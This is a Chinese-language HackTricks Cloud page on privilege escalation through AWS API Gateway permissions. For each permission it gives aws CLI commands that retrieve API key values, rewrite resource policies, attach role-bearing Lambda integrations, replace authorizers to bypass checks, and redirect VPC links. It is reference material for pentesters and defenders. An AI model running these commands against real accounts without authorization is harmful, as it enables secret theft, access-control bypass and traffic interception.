AWS - Apigateway Privesc

学习和实践 AWS 黑客技术：HackTricks 培训 AWS 红队专家 (ARTE) 学习和实践 GCP 黑客技术：HackTricks 培训 GCP 红队专家 (GRTE)

支持 HackTricks

• 查看 订阅计划!

• 加入 💬 Discord 群组 或 telegram 群组 或 关注 我们的 Twitter 🐦 @hacktricks_live.

• 通过向 HackTricks 和 HackTricks Cloud github 仓库提交 PR 分享黑客技巧。

Apigateway

有关更多信息，请查看：

AWS - API Gateway Enum

apigateway:POST

拥有此权限，您可以生成已配置的 API 的 API 密钥（按区域）。

aws --region <region> apigateway create-api-key

潜在影响： 你无法通过此技术进行权限提升，但你可能会获得敏感信息的访问权限。

apigateway:GET

通过此权限，你可以获取配置的 API 的生成 API 密钥（按区域）。

aws --region <region> apigateway get-api-keys
aws --region <region> apigateway get-api-key --api-key <key> --include-value

潜在影响： 你无法通过这种技术进行权限提升，但你可能会获得敏感信息的访问权限。

apigateway:UpdateRestApiPolicy, apigateway:PATCH

拥有这些权限后，可以修改API的资源策略，以便自己获得调用它的权限，并滥用API网关可能具有的潜在访问权限（例如调用一个脆弱的lambda）。

aws apigateway update-rest-api \
--rest-api-id api-id \
--patch-operations op=replace,path=/policy,value='"{\"jsonEscapedPolicyDocument\"}"'

潜在影响： 通常情况下，您无法直接通过此技术进行权限提升，但您可能会获得敏感信息的访问权限。

apigateway:PutIntegration, apigateway:CreateDeployment, iam:PassRole

需要测试

具有权限 apigateway:PutIntegration、apigateway:CreateDeployment 和 iam:PassRole 的攻击者可以 向现有的 API Gateway REST API 添加一个带有 IAM 角色的 Lambda 函数的新集成。攻击者可以 触发 Lambda 函数以执行任意代码，并可能获得与 IAM 角色关联的资源的访问权限。

API_ID="your-api-id"
RESOURCE_ID="your-resource-id"
HTTP_METHOD="GET"
LAMBDA_FUNCTION_ARN="arn:aws:lambda:region:account-id:function:function-name"
LAMBDA_ROLE_ARN="arn:aws:iam::account-id:role/lambda-role"

# Add a new integration to the API Gateway REST API
aws apigateway put-integration --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --type AWS_PROXY --integration-http-method POST --uri arn:aws:apigateway:region:lambda:path/2015-03-31/functions/$LAMBDA_FUNCTION_ARN/invocations --credentials $LAMBDA_ROLE_ARN

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

潜在影响：访问与Lambda函数的IAM角色相关的资源。

apigateway:UpdateAuthorizer, apigateway:CreateDeployment

需要测试

拥有权限apigateway:UpdateAuthorizer和apigateway:CreateDeployment的攻击者可以修改现有的API Gateway授权者以绕过安全检查或在进行API请求时执行任意代码。

API_ID="your-api-id"
AUTHORIZER_ID="your-authorizer-id"
LAMBDA_FUNCTION_ARN="arn:aws:lambda:region:account-id:function:function-name"

# Update the API Gateway authorizer
aws apigateway update-authorizer --rest-api-id $API_ID --authorizer-id $AUTHORIZER_ID --authorizer-uri arn:aws:apigateway:region:lambda:path/2015-03-31/functions/$LAMBDA_FUNCTION_ARN/invocations

# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod

潜在影响：绕过安全检查，未经授权访问API资源。

apigateway:UpdateVpcLink

需要测试

拥有权限apigateway:UpdateVpcLink的攻击者可以修改现有的VPC链接，使其指向不同的网络负载均衡器，可能将私有API流量重定向到未经授权或恶意的资源。

bashCopy codeVPC_LINK_ID="your-vpc-link-id"
NEW_NLB_ARN="arn:aws:elasticloadbalancing:region:account-id:loadbalancer/net/new-load-balancer-name/50dc6c495c0c9188"

# Update the VPC Link
aws apigateway update-vpc-link --vpc-link-id $VPC_LINK_ID --patch-operations op=replace,path=/targetArns,value="[$NEW_NLB_ARN]"

潜在影响：未经授权访问私有API资源，拦截或干扰API流量。

学习和实践AWS黑客技术：HackTricks培训AWS红队专家（ARTE） 学习和实践GCP黑客技术：HackTricks培训GCP红队专家（GRTE）

支持HackTricks

• 查看订阅计划!
• 加入 💬 Discord群组或电报群组或在 Twitter 🐦 上关注我们 @hacktricks_live.
• 通过向 HackTricks和HackTricks Cloud github库提交PR分享黑客技巧。